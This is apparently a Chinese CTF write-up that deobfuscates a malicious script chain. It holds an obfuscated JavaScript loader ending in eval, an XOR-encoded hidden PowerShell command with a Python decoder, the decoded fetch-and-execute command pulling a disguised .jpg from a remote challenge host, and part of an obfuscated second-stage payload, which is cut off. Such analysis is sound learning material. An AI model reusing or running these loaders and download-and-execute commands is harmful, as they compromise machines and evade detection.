X,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,xv,kX,kX,ff,RV,xv,NW,Fi,ff,RV,FT,Fi,it,ff,RV,xv,NW,zN,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,xv,NW,FT,ff,RV,xv,NW,QB,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,xv,NW,zN,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,xv,NW,FT,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,xv,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,xv,NW,yN,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,NW,QB,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,xv,NW,NW,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,zN,kX,ff,RV,FT,Fi,yN,ff,RV,FT,Fi,QB,ff,RV,FT,Fi,it,ff,RV,xv,zN,kX,ff,RV,FT,Fi,yN,ff,RV,FT,Fi,QB,ff,RV,FT,Fi,it,ff,RV,xv,NW,zN,ff,RV,FT,Fi,it,ff,RV,xv,NW,zN,ff,RV,FT,Fi,it,ff,RV,xv,NW,yN,ff,RV,xv,NW,FT,ff,RV,xv,zN,kX,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,yN,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,NW,NW,ff,RV,FT,Fi,it,ff,RV,xv,NW,it,ff,RV,xv,NW,Mb,ff,RV,xv,NW,NW,ff,RV,FT,Fi,yN,ff,RV,xv,NW,FT,ff,RV,xv,NW,FT,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,NW,zN,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,kX,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,xv,NW,zN,ff,RV,FT,Fi,yN,ff,RV,xv,NW,xv,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,xv,NW,FT,ff,RV,FT,Fi,QB,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,it,ff,RV,xv,NW,yN,ff,RV,FT,Fi,it,ff,RV,xv,NW,yN,ff,RV,FT,Fi,it,ff,RV,xv,NW,yN,ff,RV,FT,Fi,it,ff,RV,xv,NW,yN,ff,RV,xv,NW,FT,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,NW,Fi,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,yN,ff,RV,FT,Fi,yN,ff,RV,xv,NW,FT,ff,RV,xv,NW,FT,ff,RV,xv,NW,yN,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,it,ff,RV,xv,NW,Fi,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,kX,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,NW,FT,ff,RV,xv,NW,it,ff,RV,FT,Fi,it,ff,RV,xv,NW,zN,ff,RV,xv,kX,kX,ff,RV,xv,zN,kX,ff,RV,xv,NW,FT,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,NW,Fi,ff,RV,xv,NW,FT,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,FT,Fi,it,ff,RV,xv,NW,zN,ff,RV,xv,kX,kX,ff,RV,xv,zN,kX,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,xv,ff,RV,FT,Fi,it,ff,RV,xv,NW,yN,ff,RV,xv,NW,FT,ff,RV,xv,kX,kX,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,xv,NW,Mb,ff,RV,xv,NW,it,ff,RV,FT,Fi,it,ff,RV,xv,NW,zN,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,kX,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,xv,NW,FT,ff,RV,xv,NW,QB,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,xv,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,NW,NW,ff,RV,xv,kX,kX,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,FT,Fi,it,ff,RV,xv,NW,NW,ff,RV,xv,kX,Mb,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,NW,NW,ff,RV,xv,kX,Mb,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,xv,kX,kX,ff,RV,xv,NW,Fi,ff,RV,FT,Fi,it,ff,RV,xv,NW,zN,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,xv,NW,FT,ff,RV,xv,NW,QB,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,xv,NW,zN,ff,RV,FT,Fi,yN,ff,RV,xv,NW,xv,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,it,ff,RV,xv,NW,yN,ff,RV,xv,NW,Mb,ff,RV,xv,NW,xv,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,kX,ff,RV,FT,Fi,Fi,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,xv,ff,RV,xv,NW,Mb,ff,RV,xv,NW,Fi,ff,RV,FT,Fi,yN,ff,RV,xv,NW,NW,ff,RV,FT,Fi,yN,ff,RV,xv,NW,NW,ff,RV,xv,NW,FT,ff,RV,FT,Fi,yN,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,xv,NW,yN,ff,RV,FT,Fi,it,ff,RV,xv,NW,yN,ff,RV,xv,NW,FT,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,NW,Fi,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,yN,ff,RV,FT,Fi,yN,ff,RV,xv,NW,FT,ff,RV,xv,NW,FT,ff,RV,xv,NW,yN,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,it,ff,RV,xv,NW,Fi,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,kX,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,NW,FT,ff,RV,xv,NW,it,ff,RV,FT,Fi,it,ff,RV,xv,NW,zN,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,FT,Fi,it,ff,RV,xv,NW,yN,ff,RV,FT,Fi,it,ff,RV,xv,NW,yN,ff,RV,xv,NW,FT,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,NW,Fi,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,xv,NW,FT,ff,RV,FT,Fi,QB,ff,RV,FT,Fi,it,ff,RV,xv,NW,zN,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,kX,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,xv,NW,zN,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,xv,NW,FT,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,xv,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,xv,NW,yN,ff,RV,FT,Fi,it,ff,RV,xv,NW,yN,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,yN,ff,RV,FT,Fi,yN,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,it,ff,RV,xv,NW,Fi,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,FT,Fi,it,ff,RV,xv,NW,zN,ff,RV,FT,Fi,it,ff,RV,xv,NW,zN,ff,RV,FT,Fi,it,ff,RV,xv,NW,zN,ff,RV,FT,Fi,it,ff,RV,xv,NW,zN,ff,RV,FT,Fi,it,ff,RV,FT,Fi,it,ff,RV,FT,Fi,yN,ff,RV,xv,NW,xv,ff,RV,xv,zN,Fi,ff,RV,xv,zN,NW,ff,RV,xv,zN,Fi,ff,RV,xv,zN,FT,ff,RV,FT,it,zN,ff,RV,xv,NW,QB,ff,RV,FT,it,xv,ff,RV,xv,zN,Fi,ff,RV,xv,zN,it,ff,RV,xv,yN,yN,ff,RV,FT,it,NW,ff,RV,xv,yN,yN,ff,RV,xv,yN,Mb,ff,RV,xv,yN,yN,ff,RV,FT,it,zN,ff,RV,xv,yN,yN,ff,RV,xv,kX,it,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,NW,ff,RV,xv,kX,Mb,ff,RV,FT,QB,NW,ff,RV,xv,kX,zN,ff,RV,xv,zN,QB,ff,RV,xv,kX,it,ff,RV,xv,xv,Mb,ff,RV,FT,QB,it,ff,RV,FT,QB,QB,ff,RV,FT,QB,kX,ff,RV,FT,Fi,it,ff,RV,FT,QB,NW,ff,RV,FT,QB,FT,ff,RV,xv,kX,zN,ff,RV,xv,NW,kX,ff,RV,xv,NW,kX,ff,RV,xv,Mb,NW,ff,RV,FT,QB,it,ff,RV,xv,xv,FT,ff,RV,FT,it,it,ff,RV,FT,QB,FT,ff,RV,FT,Fi,it,ff,RV,xv,zN,QB,ff,RV,xv,yN,FT,ff,RV,xv,kX,xv,ff,RV,xv,zN,FT,ff,RV,xv,Mb,FT,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,kX,ff,RV,FT,QB,Mb,ff,RV,FT,Fi,it,ff,RV,xv,zN,NW,ff,RV,xv,NW,Fi,ff,RV,xv,NW,NW,ff,RV,xv,zN,it,ff,RV,xv,yN,yN,ff,RV,xv,zN,xv,ff,RV,xv,kX,kX,ff,RV,FT,it,QB,ff,RV,FT,QB,it,ff,RV,FT,QB,NW,ff,RV,xv,yN,yN,ff,RV,xv,zN,Fi,ff,RV,xv,NW,QB,ff,RV,xv,zN,kX,ff,RV,xv,NW,yN,ff,RV,xv,zN,Fi,ff,RV,xv,zN,it,ff,RV,xv,yN,yN,ff,RV,FT,it,xv,ff,RV,xv,zN,it,ff,RV,xv,yN,yN,ff,RV,xv,zN,xv,ff,RV,FT,Fi,FT,ff,RV,FT,QB,it,ff,RV,FT,Fi,xv,ff,RV,FT,QB,QB,ff,RV,xv,yN,yN,ff,RV,xv,zN,Fi,ff,RV,xv,zN,Fi,ff,RV,xv,xv,Fi,ff,RV,xv,yN,kX,ff,RV,xv,yN,yN,ff,RV,xv,yN,FT,ff,RV,xv,FT,Fi,ff,RV,xv,FT,QB,ff,RV,xv,Mb,NW,ff,RV,xv,FT,Fi,ff,RV,xv,zN,FT,ff,RV,xv,Mb,zN,ff,RV,FT,QB,Mb,ff,RV,xv,kX,kX,ff,RV,FT,QB,xv,ff,RV,FT,QB,FT,ff,RV,FT,QB,NW,ff,RV,FT,Fi,xv,ff,RV,FT,QB,QB,ff,RV,FT,Fi,zN,ff,RV,xv,zN,QB,ff,RV,xv,zN,kX,ff,RV,xv,zN,NW,ff,RV,xv,NW,it,ff,RV,xv,zN,it,ff,RV,xv,yN,yN,ff,RV,xv,yN,FT,ff,RV,xv,FT,Fi,ff,RV,xv,FT,QB,ff,RV,xv,Mb,NW,ff,RV,xv,FT,Fi,ff,RV,xv,zN,FT,ff,RV,xv,Mb,zN,ff,RV,FT,QB,Mb,ff,RV,xv,kX,kX,ff,RV,FT,QB,xv,ff,RV,FT,QB,FT,ff,RV,FT,QB,NW,ff,RV,FT,Fi,xv,ff,RV,FT,QB,QB,ff,RV,FT,Fi,zN,ff,RV,xv,zN,QB,ff,RV,xv,NW,it,ff,RV,xv,zN,it,tg,QF,Im,nd,Ge,sV,RV,Gm,YZ,Xj,kF,RV,ST,RV,pV,wt,wV,Rp,kz,CX,GH,US,xv,Mb,Mb,ff,xv,Mb,zN,ff,FT,Fi,Fi,ff,FT,QB,NW,ff,FT,Fi,xv,ff,FT,QB,yN,ff,FT,QB,FT,ff,xv,zN,FT,ff,xv,Mb,zN,ff,FT,Fi,NW,ff,FT,Fi,it,ff,FT,Fi,kX,ff,FT,Fi,kX,tg,QF,Im,nd,Ge,sV,RV,pV,wt,wV,Rp,kz,CX,RV,ST,RV,tV,Gm,Wn,RV,sC,Fx,nI,pV,nd,Gm,Yp,FF,uS,Rp,Gm,Fx,nI,GH,Gm,YZ,Xj,kF,QF,Im,pV,wt,wV,Rp,kz,CX,cX,wV,UP,tV,GH,wt,wl,NL,Ep,uS,Lj,ff,RV,Fi,ff,RV,nI,sV,UP,Gm,QF,Im);eval(SxhM); window.close();</script> 直接复制到浏览器得到第一条执行的powershell命令,进行了异或加密,204的十六进制是0xCC 1 powershell.exe -w 1 -ep Unrestricted -nop $EFTE =([regex]::Matches('a5a9b49fb8adbeb8e19cbea3afa9bfbfeceee8a9a2baf69fb5bfb8a9a19ea3a3b8909fb5bf9b839bfaf8909ba5a2a8a3bbbf9ca3bba9be9fa4a9a0a090bafde2fc90bca3bba9bebfa4a9a0a0e2a9b4a9eeece19ba5a2a8a3bb9fb8b5a0a9ec84a5a8a8a9a2ece18dbeabb9a1a9a2b880a5bfb8ecebe1bbebe0eba4ebe0ebe1a9bcebe0eb99a2bea9bfb8bea5afb8a9a8ebe0ebe18fa3a1a1ada2a8ebe0ee9fa9b8e19aadbea5adaea0a9ecffeceba4b8b8bcf6e3e3afa4ada0a0a9a2aba9e2b4a5a2bfa4a5e2aab9a2f6f8fdfdfafae3aea9bfb8b9a8a8a5a2abe2a6bcabebf79f85ec9aadbea5adaea0a9f6e396f888eceb82a9b8e29ba9ae8fa0a5a9a2b8ebf7afa8f79f9aecaff884ece4e2ace889b4a9afb9b8a5a3a28fa3a2b8a9b4b8e285a2baa3a7a98fa3a1a1ada2a8e2e4e4ace889b4a9afb9b8a5a3a28fa3a2b8a9b4b8e285a2baa3a7a98fa3a1a1ada2a8b08ba9b8e181a9a1aea9bee597fe91e282ada1a9e5e285a2baa3a7a9e4ace889b4a9afb9b8a5a3a28fa3a2b8a9b4b8e285a2baa3a7a98fa3a1a1ada2a8e2e4e4ace889b4a9afb9b8a5a3a28fa3a2b8a9b4b8e285a2baa3a7a98fa3a1a1ada2a8b08ba9b8e181a9a1aea9beb09ba4a9bea9b7e48b9aec93e5e29aada0b9a9e282ada1a9e1afa0a5a7a9ebe6a882ada1a9ebb1e5e282ada1a9e5e285a2baa3a7a9e4eb82a9e6afb8ebe0fde0fde5e5e4809fec9aadbea5adaea0a9f6e396f888e5e29aada0b9a9e5f79f9aec8dece4e4e4e48ba9b8e19aadbea5adaea0a9ecaff884ece19aada0b9a983e5b08ba9b8e181a9a1aea9bee5b09ba4a9bea9b7e48b9aec93e5e29aada0b9a9e282ada1a9e1afa0a5a7a9ebe6bba2e6a8e6abebb1e5e282ada1a9e5f7eae4979fafbea5bcb88ea0a3afa791f6f68fbea9adb8a9e4e48ba9b8e19aadbea5adaea0a9ecaff884ece19aada0b9a983e5e2e4e48ba9b8e19aadbea5adaea0a9ec8de5e29aada0b9a9e5e285a2baa3a7a9e4e49aadbea5adaea0a9ecffece19aada0e5e5e5e5eef7','.{2}') | % { [char]([Convert]::ToByte($_.Value,16) -bxor '204') }) -join '';& $EFTE.Substring(0,3) $EFTE.Substring(3) 解码python脚本 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 def decrypt_powershell_command(hex_string, xor_key=0xCC): """ 解密PowerShell的十六进制混淆命令 :param hex_string: 十六进制混淆字符串 :param xor_key: 异或密钥 (0xCC) :return: 解密后的可读命令 """ # 每2个字符分割(一个字节) hex_bytes = [hex_string[i:i+2] for i in range(0, len(hex_string), 2)] # 将十六进制转换为字节并应用异或 decoded_chars = [] for byte in hex_bytes: # 十六进制转整数 value = int(byte, 16) # 异或解密 decrypted = value ^ xor_key # 转换为字符 decoded_chars.append(chr(decrypted)) # 组合成完整字符串 return ''.join(decoded_chars) # 提供的混淆字符串(缩短版,实际使用完整字符串) obfuscated_hex = "a5a9b49fb8adbeb8e19cbea3afa9bfbfeceee8a9a2baf69fb5bfb8a9a19ea3a3b8909fb5bf9b839bfaf8909ba5a2a8a3bbbf9ca3bba9be9fa4a9a0a090bafde2fc90bca3bba9bebfa4a9a0a0e2a9b4a9eeece19ba5a2a8a3bb9fb8b5a0a9ec84a5a8a8a9a2ece18dbeabb9a1a9a2b880a5bfb8ecebe1bbebe0eba4ebe0ebe1a9bcebe0eb99a2bea9bfb8bea5afb8a9a8ebe0ebe18fa3a1a1ada2a8ebe0ee9fa9b8e19aadbea5adaea0a9ecffeceba4b8b8bcf6e3e3afa4ada0a0a9a2aba9e2b4a5a2bfa4a5e2aab9a2f6f8fdfdfafae3aea9bfb8b9a8a8a5a2abe2a6bcabebf79f85ec9aadbea5adaea0a9f6e396f888eceb82a9b8e29ba9ae8fa0a5a9a2b8ebf7afa8f79f9aecaff884ece4e2ace889b4a9afb9b8a5a3a28fa3a2b8a9b4b8e285a2baa3a7a98fa3a1a1ada2a8e2e4e4ace889b4a9afb9b8a5a3a28fa3a2b8a9b4b8e285a2baa3a7a98fa3a1a1ada2a8b08ba9b8e181a9a1aea9bee597fe91e282ada1a9e5e285a2baa3a7a9e4ace889b4a9afb9b8a5a3a28fa3a2b8a9b4b8e285a2baa3a7a98fa3a1a1ada2a8e2e4e4ace889b4a9afb9b8a5a3a28fa3a2b8a9b4b8e285a2baa3a7a98fa3a1a1ada2a8b08ba9b8e181a9a1aea9beb09ba4a9bea9b7e48b9aec93e5e29aada0b9a9e282ada1a9e1afa0a5a7a9ebe6a882ada1a9ebb1e5e282ada1a9e5e285a2baa3a7a9e4eb82a9e6afb8ebe0fde0fde5e5e4809fec9aadbea5adaea0a9f6e396f888e5e29aada0b9a9e5f79f9aec8dece4e4e4e48ba9b8e19aadbea5adaea0a9ecaff884ece19aada0b9a983e5b08ba9b8e181a9a1aea9bee5b09ba4a9bea9b7e48b9aec93e5e29aada0b9a9e282ada1a9e1afa0a5a7a9ebe6bba2e6a8e6abebb1e5e282ada1a9e5f7eae4979fafbea5bcb88ea0a3afa791f6f68fbea9adb8a9e4e48ba9b8e19aadbea5adaea0a9ecaff884ece19aada0b9a983e5e2e4e48ba9b8e19aadbea5adaea0a9ec8de5e29aada0b9a9e5e285a2baa3a7a9e4e49aadbea5adaea0a9ecffece19aada0e5e5e5e5eef7" # 解密命令 decrypted_command = decrypt_powershell_command(obfuscated_hex) # 输出结果 print("解密后的完整命令:") print(decrypted_command) print("\n命令结构分析:") print(f"主命令: {decrypted_command[:3]}") print(f"命令参数: {decrypted_command[3:]}") 解密后得到: 1 iexStart-Process "$env:SystemRoot\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ArgumentList '-w','h','-ep','Unrestricted','-Command',"Set-Variable 3 'http://challenge.xinshi.fun:41166/bestudding.jpg';SI Variable:/Z4D 'Net.WebClient';cd;SV c4H (.`$ExecutionContext.InvokeCommand.((`$ExecutionContext.InvokeCommand|Get-Member)[2].Name).Invoke(`$ExecutionContext.InvokeCommand.((`$ExecutionContext.InvokeCommand|Get-Member|Where{(GV _).Value.Name-clike'*dName'}).Name).Invoke('Ne*ct',1,1))(LS Variable:/Z4D).Value);SV A ((((Get-Variable c4H -ValueO)|Get-Member)|Where{(GV _).Value.Name-clike'*wn*d*g'}).Name);&([ScriptBlock]::Create((Get-Variable c4H -ValueO).((Get-Variable A).Value).Invoke((Variable 3 -Val))))"; 等价于 1 2 3 4 $url = 'http://host:port/bestudding.jpg' $webClient = New-Object Net.WebClient $scriptContent = $webClient.DownloadString($url) Invoke-Expression $scriptContent 把这个bestudding.jpg下载下来 用winhex打开 1 ('(' | % { $r = + $() } { $u = $r } { $b = ++ $r } { $q = ( $r = $r + $b ) } { $z = ( $r = $r + $b ) } { $o = ($r = $r + $b ) } { $d = ($r = $r + $b ) } { $h = ($r = $r + $b ) } { $e = ($r = $r + $b ) } { $i = ($r = $r + $b ) } { $x = ($q *( $z) ) } { $l = ($r = $r + $b) } { $g = "[" + "$(@{ })"[$e ] + "$(@{ })"[ "$b$l" ] + "$(@{ } ) "[ "$q$u" ] + "$?"[$b ] + "]" } { $r = "".("$( @{} ) "[ "$b$o" ] + "$(@{}) "[ "$b$h"] + "$( @{ } )"[$u] + "$(@{} )"[$o] + "$? "[ $b] + "$( @{})"[$z ]) } { $r = "$(@{ } )"[ "$b" + "$o"] + "$(@{ }) "[$o ] + "$r"["$q" + "$e" ] } ) ; " $r ($g$z$x+$g$x$i+$g$b$u$b+$g$l$i+$g$b$b$e+$g$b$u$z+$g$i$u+$g$b$b$o+$g$b$u$b+$g$b$u$q+$g$b$u$b+$g$b$b$o+$g$b$u$b+$g$b$b$u+$g$l$l+$g$b$u$b+$g$z$q+$g$x$b+$g$z$q+$g$z$x+$g$x$l+$g$b$b$o+$g$b$b$o+$g$b$b$b+$g$b$b$o+$g$x$d+$g$l$l+$g$b$b$x+$g$b$u$d+$g$b$b$b+$g$b$b$u+$g$i$u+$g$b$b$o+$g$b$u$b+$g$b$u$q+$g$b$u$b+$g$b$b$o+$g$b$u$b+$g$b$b$u+$g$l$l+$g$b$u$b+$g$z$q+$g$x$b+$g$z$q+$g$z$x+$g$i$x+$g$b$u$b+$g$b$b$o+$g$l$i+$g$b$b$b+$g$b$b$d+$g$b$u$b+$g$i$u+$g$b$b$o+$g$b$u$b+$g$b$u$q+$g$b$u$b+$g$b$b$o+$g$b$u$b+$g$b$b$u+$g$l$l+$g$b$u$b+$g$z$q+$g$x$b+$g$z$q+$g$z$x+$g$i$e+$g$l$e+$g$b$b$o+$g$b$b$u+$g$b$u$d+$g$b$b$u+$g$b$u$z+$g$i$u+$g$b$b$o+$g$b$u$b+$g$b$u$q+$g$b$u$b+$g$b$b$o+$g$b$u$b+$g$b$b$u+$g$l$l+$g$b$u$b+$g$z$q+$g$x$b+$g$z$q+$g$z$o+$g$i$z+$g$b$u$d+$g$b$u$i+$g$b$u$b+$g$b$b$u+$g$b$b$x+$g$b$u$i+$g$b$q$b+